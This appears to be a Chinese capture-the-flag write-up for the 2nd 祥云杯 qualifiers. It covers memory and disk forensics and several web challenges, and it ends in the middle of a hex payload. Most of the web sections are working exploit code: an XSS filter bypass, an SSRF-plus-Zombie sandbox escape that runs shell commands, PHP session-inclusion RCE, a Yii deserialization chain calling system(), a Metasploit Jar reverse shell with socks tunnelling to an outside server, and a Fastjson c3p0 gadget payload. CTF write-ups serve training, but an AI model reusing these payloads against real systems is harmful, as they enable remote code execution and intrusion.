2nd 祥云杯 Quals

Misc

层层取证

将附件解压后得到 E01 磁盘文件和内存镜像,对内存镜像进行 imageinfo 检测可得如下结果。

text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/mnt/hgfs/f/ghrepos/volatility2/imgs/memdump.mem)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf800040040a0L
Number of Processors : 2
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80004005d00L
KPCR for CPU 1 : 0xfffff88004700000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2020-08-15 11:40:37 UTC+0000
Image local date and time : 2020-08-15 19:40:37 +0800

使用 Win7SP1x64 作为 profile 进行 pslist,从而得出镜像抓取时的进程列表。可以发现有 FTK Imager,使用其挂载附件中给出的磁盘,可以发现如下提示。

text
1
hint: 你连电脑都不能仿真打开,还想要flag ?

镜像仿真虚拟机

使用 FTK Imager 挂载上整个 E01 磁盘,然后卸载掉盘符,记下此时的索引。

此时再打开 VMware Workstation 新建虚拟机。按照前面得出的 imageinfo 选择与之对应的 Windows 7 x64,然后选择物理磁盘作为虚拟机的磁盘,然后选择对应的索引 PhysicalDrive2 挂载。成功之后将会在设置的目录处得到 vmdk 格式的磁盘文件。此时使用 Oracle Virtual Box 加载对应的 vmdk 并新建对应配置的虚拟机。完成之后即可使用 Oracle Virtual Box 启动虚拟机。

mimikatz 取证出登录密码

启动系统后可以发现其需要登录密码,因此回到内存取证中去,使用 mimikatz 进行用户账户密码提取,可以得到如下结果。

text
1
2
3
4
5
Volatility Foundation Volatility Framework 2.6.1
Module User Domain Password
-------- ---------------- ---------------- ----------------------------------------
wdigest XiaoMing PC xiaoming_handsome
wdigest PC$ WORKGROUP

因此可以使用 xiaoming_handsome 登录虚拟机中的系统。登录系统后可以发现其中有便签,将大片的便签挪开后可以发现有小片的便签,其中包含着一个文档的密码。

打开此电脑后可以发现还有一个 Bitlocker 加密的驱动器,从 FTK Imager 中可以分离出对应的 dd raw 文件。

将 FTK Imager 导出的镜像文件解压一次可得 dd 文件。

FVEK 取证解密驱动器

https://github.com/elceef/bitlocker

回到内存取证,对内存镜像使用 Volatility 的 bitlocker 插件分析可以得到如下结果。

text
1
2
3
4
5
6
Volatility Foundation Volatility Framework 2.6.1

Address : 0xfa800d12e7e0
Cipher : AES-128
FVEK : 0ff9192acdbf1df3c6dc36fb58cf76ce
TWEAK : b423bd84872ff72b583bb9bdee1762ac

此时可以使用 bdemount 配合如下指令对驱动器进行解密。

1
$sudo bdemount -k 0ff9192acdbf1df3c6dc36fb58cf76ce:b423bd84872ff72b583bb9bdee1762ac ext.dd /mnt/ctf

此时在 /mnt/ctf 下可以找到 bde1 文件,将其复制到 Windows 下修正拓展名为 vhd。打开磁盘可以得到 WireShark 的流量包文件。

流量包分析

使用 WireShark 对流量包进行分析,跟踪 UDP 流到 32 可以得到一个压缩文档。

将其提取出来,可以在信息的部分发现如下提示。

因此使用电脑的登录密码顺利解压压缩文档。再使用电脑便签中的密码解密 Word 文档即可得到 flag。

1
flag{9ca871b668f2-b668-097c-cbm8-9op404c891e2}

鸣雏恋

附件给出的压缩包中有一个 Word 文档,在其 _rels 文件夹下可以发现两个文件。将其解压出来,在 key.txt 中可以发现如下内容。

text
1
2
佩恩‌‌‌‌‍‌‌‬‌‌‌‌‍‬‍‍:凭你这点力量,‌‌‌‌‍‬‌‌‌‌‌‍‬‌‍为什么要战斗‌‌‌‌‍‍‍?
‌‌‌‌‍‌‌‌‌‌‍‬‍‍‌‌‌‌‌‬‌‌雏田‌‌‌‌‍‌‬‍‌‌‌‌‌‬‌‌‌‌‌‌‍‬‌:说到做到‌‌‌‌‍‬‬‍‌‌‌‌‍‬‬‌‌‌‌‍‬‍‍,‌‌‌‌‌‬‌‌勇往直前‌‌‌‌‍‬‬,‌‌‌‌‍‬‌‍这就是我的忍道.‌‌‌‌‍‌‬‌‌‌‌‍‍‍‌‌‌‌‍‍‌‌‌‌‌‍‬‌‌‌‌‌‬‌‌‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‍‌‌‌‌‍‌‌‌‌‌‍‍‌

对这个字符串使用零宽字符隐写解码可以得到如下内容。

text
1
Because I like naruto best

使用这个字符串做为密码解压上述得到的另一个文件,可以得到一堆图片。使用如下脚本将其转换为 0/1 数据。

1
2
3
4
5
6
7
8
9
10
from PIL import Image

temp = ""
for i in range(0, 129488):
image = Image.open(f"G:\\out\\{i}.png")
temp += str(image.getpixel((0,0)))
result_file = open("./result.txt", "w")
result_file.write(temp)
result_file.flush()
result_file.close()

将得到的数据使用如下 CyberChef Receipt 处理可以得到一张图片。

text
1
2
3
From_Binary('Space',8)
Find_/_Replace({'option':'Regex','string':'data:image/png;base64,'},'',true,false,true,false)
Render_Image('Base64')

1
flag{57dd74fb21bb1aee50f19421bf836f23}

考古

小明在家里翻到一台很古老的xp笔记本,换电池之后发现可以正常开机,但是发现硬盘空间不足。清理过程中却发生了一些不愉快的事情…

对给出的内存镜像使用 Volatility 分析,imageinfo 可以得到如下结果。

text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/mnt/hgfs/f/ghrepos/volatility2/imgs/memory)
PAE type : PAE
DTB : 0xa8f000L
KDBG : 0x80545ce0L
Number of Processors : 1
Image Type (Service Pack) : 2
KPCR for CPU 0 : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2021-08-06 16:43:57 UTC+0000
Image local date and time : 2021-08-07 00:43:57 +0800

使用 filescan | grep "桌面" 可以发现其桌面有如下可疑文件。

text
1
0x0000000001956d88      1      0 R--r-d \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\Oneclickcleanup.exe

使用 dumpfiles 将文件提取出来。

Usher’s Reverse Part

在这一行下断点,运行到断下来。

此时修改所打开的文件名,保存后 F9 跑完就可以得到另一个文件。将所得的文件按位异或 0x2D 即可在文件中找到 flag。

1
flag{8bedfdbb-ba42-43d1-858c-c2a5-5012d309}

Web

Secrets_Of_Admin

Reveal the secret of admin for me.

在题目给出的源码中可以发现用户 admin 及其登录密码 e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645。同时还能发现 flag 及其 checksum be5a14a8e504a66979f6938338b0662c。

在 index.ts 下可以发现使用 127.0.0.1 请求可以添加文件记录的路由。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});

因此需要想办法进行 XSS 或者 SSRF,增加一条文件记录,让 flag 的文件也同时属于 admin,此时才能用其 checksum 读取到。正好这里有一个使用 html-pdf 进行 HTML 转 PDF 的路由,因此可以尝试使用这个路由进行 XSS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});

可以发现这里对提交的 content 使用 include 进行了过滤,因此可以使用数组绕过。使用如下请求即可成功写入一段 XSS 进而修改数据库内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin HTTP/1.1
Host: eci-2zedk1cbvvahlm83mpwj.cloudeci1.ichunqiu.com:8888
Content-Length: 239
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zedk1cbvvahlm83mpwj.cloudeci1.ichunqiu.com:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.12 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zedk1cbvvahlm83mpwj.cloudeci1.ichunqiu.com:8888/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,ja;q=0.6
Cookie: Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1629598751; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629598751; UM_distinctid=17b6ba7974b4b4-0499fe9efa6a05-b7a1d3b-144000-17b6ba7974c5ea; __jsluid_h=653dc6064ed641b63bdff02b1a713cc4; token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22files%22%3A%5B%5D%2C%22isAdmin%22%3Atrue%7D.F56WSi1msokS7QwqhYWcJm%2FBhe1UiZ%2FxOtKnM%2BaehVU
Connection: close

content[]=<script>var+url%3d"http%3a//127.0.0.1%3a8888/api/files%3fusername%3dadmin%26filename%3d../files/flag%26checksum%3dbe5a14a8e504a66979f6938338b0662c"%3bquery%3dnew+XMLHttpRequest()%3bquery.open('get',url)%3bquery.send()%3b</script>

访问到 /api/files/be5a14a8e504a66979f6938338b0662c 即可下载到 flag。

1
flag{bf60142a-ebb2-47c2-93c3-6087340c0df0}

crawler_z

crawler_z is a website supported with crawler and bucket, can you find a way to RCE?

SSRF

在 user.js 下可以发现如下关键代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
router.post('/profile', async (req, res, next) => {
let { affiliation, age, bucket } = req.body;
const user = await User.findByPk(req.session.userId);
if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") {
return res.render('user', { user, error: "Parameters error or blank." });
}
if (!utils.checkBucket(bucket)) {
return res.render('user', { user, error: "Invalid bucket url." });
}
let authToken;
try {
await User.update({
affiliation,
age,
personalBucket: bucket
}, {
where: { userId: req.session.userId }
});
const token = crypto.randomBytes(32).toString('hex');
authToken = token;
await Token.create({ userId: req.session.userId, token, valid: true });
await Token.update({
valid: false,
}, {
where: {
userId: req.session.userId,
token: { [Op.not]: authToken }
}
});
} catch (err) {
next(createError(500));
}
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
res.redirect(`/user/verify?token=${authToken}`)
} else {
// Well, admin won't do that actually XD.
return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
}
});


router.get('/verify', async (req, res, next) => {
let { token } = req.query;
if (!token || typeof (token) !== "string") {
return res.send("Parameters error");
}
let user = await User.findByPk(req.session.userId);
const result = await Token.findOne({
token,
userId: req.session.userId,
valid: true
});
if (result) {
try {
await Token.update({
valid: false
}, {
where: { userId: req.session.userId }
});
await User.update({
bucket: user.personalBucket
}, {
where: { userId: req.session.userId }
});
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
} catch (err) {
next(createError(500));
}
} else {
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Failed to update, check your token carefully" })
}
})


// Not implemented yet
router.get('/bucket', async (req, res) => {
const user = await User.findByPk(req.session.userId);
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(user.bucket)) {
return res.json({ message: "Sorry but our remote oss server is under maintenance" });
} else {
// Should be a private site for Admin
try {
const page = new Crawler({
userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
referrer: 'https://www.ichunqiu.com/',
waitDuration: '3s'
});
await page.goto(user.bucket);
const html = page.htmlContent;
const headers = page.headers;
const cookies = page.cookies;
await page.close();

return res.json({ html, headers, cookies});
} catch (err) {
return res.json({ err: 'Error visiting your bucket. ' })
}
}
});

可以发现每 POST 请求一次 /profile 都会向数据库中写入一个 token,而只有在所提交的链接合乎正则的时候才会返回给用户。关键就在于即使不返回给用户,token 也不会从数据库中被删除。而 verify 在验证时仅仅判断了库中有无与用户提交的 token 相符合的有效 token,并不在意是否为当此提交。因此只需要先正常请求一次,拿到一个有效的 token,再用恶意链接重新请求更新,之后使用有效的 token 直接请求 verify 即可将恶意链接更新进 bucket。

鉴于 /profile 对所提交的链接进行了如下筛选,恶意链接还需要特别构造。

1
2
3
4
5
6
7
8
9
10
static checkBucket(url) {
try {
url = new URL(url);
} catch (err) {
return false;
}
if (url.protocol != "http:" && url.protocol != "https:") return false;
if (url.href.includes('oss-cn-beijing.ichunqiu.com') === false) return false;
return true;
}

此处限定了链接所使用的协议,但是并没有限制跳转,因此可以借助服务器进行 302 跳转。在服务器中写如下代码。

1
<?php header("Location: file///etc/passwd"); ?>

同时恶意链接写作 http://8.136.8.210:10025#oss-cn-beijing.ichunqiu.com 即可成功绕过此处的处理,进而 SSRF。结合题目描述和使用 file 协议读到的 /readflag 文件可知需要执行 /readflag 来获取 flag。

Zombie Package Code Injection

https://ha.cker.in/index.php/Article/13563

很容易发现程序使用了 zombie 来完成对我们提交的 bucket 的访问,因此我们只需要在页面中写入 RCE 的代码即可。构造出如下载荷来获取 flag。

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<body>
<script>
document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('/readflag').toString())")());
</script>
</body>
</html>

配合如下脚本完成 SSRF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import httpx as requests
session = requests.Client(
base_url="http://eci-2ze4wxo32t273t3wq2e7.cloudeci1.ichunqiu.com:8888"
)
TOKEN = ""

def FetchToken():
global TOKEN

response = session.post("/user/profile", data={
"bucket":f"https://00000000000000000000000000000000.oss-cn-beijing.ichunqiu.com/",
"affiliation":"20",
"age":"20"
}, allow_redirects=False)

TOKEN = response.content.decode()[41:]

print(f"[+] Fetched Token {TOKEN}")


def Prepare():
# Sign Up
try:
response = session.post("/signup", data={
"username": "Lemon",
"password": "LemonPass",
"password_confirm": "LemonPass"
})

assert response.status_code == 200
print("[+] Sign Up done")
except:
pass

# Sign In
response = session.post("/signin", data={
"username": "Lemon",
"password": "LemonPass"
})

assert response.status_code == 200
print("[+] Sign In done")


def Exploit(bucket):
global TOKEN
response = session.post("/user/profile", data={
"bucket":f"http://{bucket}/\x23oss-cn-beijing.ichunqiu.com/",
"affiliation":"20",
"age":"20"
})
assert response.status_code == 200

response = session.get("/user/verify", params={
"token": TOKEN
})
assert response.status_code == 200

response = session.get("/user/bucket")
assert response.status_code == 200
return response.content.decode()


Prepare()
FetchToken()

print(Exploit("8.136.8.210:10025"))

1
flag{e96b6eee-f95d-4e72-a839-fa9552465b24}

安全检测

某安全监测平台。

给出了一个网站检测的业务,尝试 http://127.0.0.1/admin 可以发现有一个 include123.php 文件。使用同样的套路可以读取到如下源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}

include($u);


show_source(__FILE__);
?>

可以发现这里存在一个文件包含,而因为有大量的 ban 掉的函数导致了很难直接 RCE 或者进行文件读取。

PHP SESSION 包含

因为程序使用到了 session,假使 session.use_strict_mode 为 0 则可以包含到 /tmp 目录下被序列化存储的 session。写个脚本来一把梭达成 RCE 并拿到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import httpx as requests

session = requests.Client(base_url="http://eci-2zehr586mkdtes1jcaj6.cloudeci1.ichunqiu.com")
session.cookies.set("PHPSESSID", "Lemon")

def Exploit(payload):
# response = session.post("/login.php", data={
# "username":"a",
# "password":"b"
# })

response = session.post("/check2.php", data={
"url1": f"http://baidu.com/{payload}"
}, files=[
('file', ('1.png', "\x89PNG\r\n", 'application/png'))
])

session.cookies.set("PHPSESSID", "Lemon2")
response = session.post("/check2.php", data={
# "url1": "http://127.0.0.1/admin/include123.php?u=/tmp/sess_Lemon"
"url1": "http://127.0.0.1/admin/include123.php?u=/tmp/flaaaaaag.txt"
})

response = session.get("/preview.php")
print(response.content.decode())

# Exploit("<?=phpinfo();?>") # PHPINFO
# Exploit("<?=var_dump(scandir(\"/\"));?>") # Root Directory
# Exploit("<?=system(\"/g??????.sh>/tmp/flaaaaaag.txt\");?>") # Extract flag
Exploit("") # Extract flag
1
flag{6a6fc984-0393-4a56-8ce1-8ea011d9d165}

ezyii

yii最新版里有一个很巧妙的链子,我已经从999999个文件里,拿出了部分,不会还找不到吧?

这波是快照里有原本的链子。

https://webcache.googleusercontent.com/search?q=cache:QjwZwIOglLAJ:https://github.com/JinYiTong/poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null){
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("ezyii/source/closure/autoload.php");
$a = function(){system('cat /f*');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}

运行上述脚本,将所得载荷以 POST 参数 data 传送即可得到 flag。

1
flag{9c17cfff-aaab-4712-80c8-cef14ec595a5}

层层穿透

恶意 Jar 的生成

https://www.freebuf.com/vuls/220252.html

首先运行一个 metasploit 容器,按照参考文章中的内容生成恶意 Jar。

1
$docker run --name metasploit5 -it docker.io/metasploitframework/metasploit-framework /bin/bash

用 Submit Job 将 Jar 上传到靶机并提交执行后可得反弹 shell。

内网扫描 & EW 代理

使用如下脚本写入一个扫描脚本并执行,可以得到内网中 10.10.1.11:8080 存在新的业务。

1
2
3
4
5
6
7
echo '#!/bin/bash' > aaa.sh
echo 'for i in {1..254};do' >> aaa.sh
echo '{' >> aaa.sh
echo 'ping -c1 -W1 10.10.1.$i && echo "10.10.1.$i" is alive;' >> aaa.sh
echo '}&' >> aaa.sh
echo 'done' >> aaa.sh
echo 'wait' >> aaa.sh

将 EW 放到服务器上,在服务器上执行 ./ew -s rcsocks -l 10031 -e 10032 &,在靶机上使用 wget 获取到 /tmp 下并 chmod 赋权后执行 ./ew -s rssocks -d 8.136.8.210 -e 10032。此时在攻击机上使用 Proxy SwitchyOmega 设置 socks5 代理连接到服务器上设定的端口。给 BurpSuite 也设置对应的代理。

Jar 反编译 & 业务分析

http://www.javadecompilers.com/

使用参考处的网站反编译题目给出的附件,找到如下关键代码,可以得出一对用户名和密码 admin/123456。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 
// Decompiled by Procyon v0.5.36
//

package ichunqiu.web;

import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.subject.PrincipalCollection;
import org.apache.shiro.realm.AuthorizingRealm;

public class MyRealm extends AuthorizingRealm
{
protected AuthorizationInfo doGetAuthorizationInfo(final PrincipalCollection principals) {
return null;
}

protected AuthenticationInfo doGetAuthenticationInfo(final AuthenticationToken token) throws AuthenticationException {
final String username = (String)token.getPrincipal();
if (!"admin".equals(username)) {
throw new UnknownAccountException("\u8d26\u6237\u4e0d\u5b58\u5728!");
}
return (AuthenticationInfo)new SimpleAuthenticationInfo((Object)username, (Object)"123456", this.getName());
}
}

主要的登录业务使用了 doLogin 路由来进行处理,在 LoginController 中可以看到。

1
2
3
4
5
6
7
8
9
10
11
12
@PostMapping({ "/doLogin" })
public void doLogin(final String username, final String password) {
final Subject subject = SecurityUtils.getSubject();
try {
subject.login((AuthenticationToken)new UsernamePasswordToken(username, password));
System.out.println("success");
}
catch (AuthenticationException e) {
e.printStackTrace();
System.out.println("fail!");
}
}

主要的业务代码如下,对提交的内容使用了 Fastjson 来处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// 
// Decompiled by Procyon v0.5.36
//

package ichunqiu.web.springshiro.controllers;

import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping({ "/" })
public class FastjsonTest
{
public String[] blacklist;

public FastjsonTest() {
this.blacklist = new String[] { "JdbcRowSetImpl", "TemplatesImpl" };
}

public boolean waf(final String payload) {
if (payload.contains("\\x")) {
return true;
}
if (payload.contains("\\u")) {
return true;
}
for (final String key : this.blacklist) {
if (payload.contains(key)) {
return true;
}
}
return false;
}

@RequestMapping({ "/admin/test" })
public String test(@RequestBody final String json) {
if (this.waf(json)) {
return "Oh,you can't do that";
}
if (json.length() < 20000) {
return "Oh,you are too short";
}
JSON.parse(json);
return "test over";
}
}

可以发现其对传入的参数长度进行了要求,JSON 的长度需要大于 20000,同时进行了一些过滤。

Fastjson c3p0

https://github.com/depycode/fastjson-c3p0

登录后访问 /admin/test 路由,使用参考中的 payload,将 f 重复几次以满足长度要求。使用 BurpSuite 发送数据包即可获得 flag。

1
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F64010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616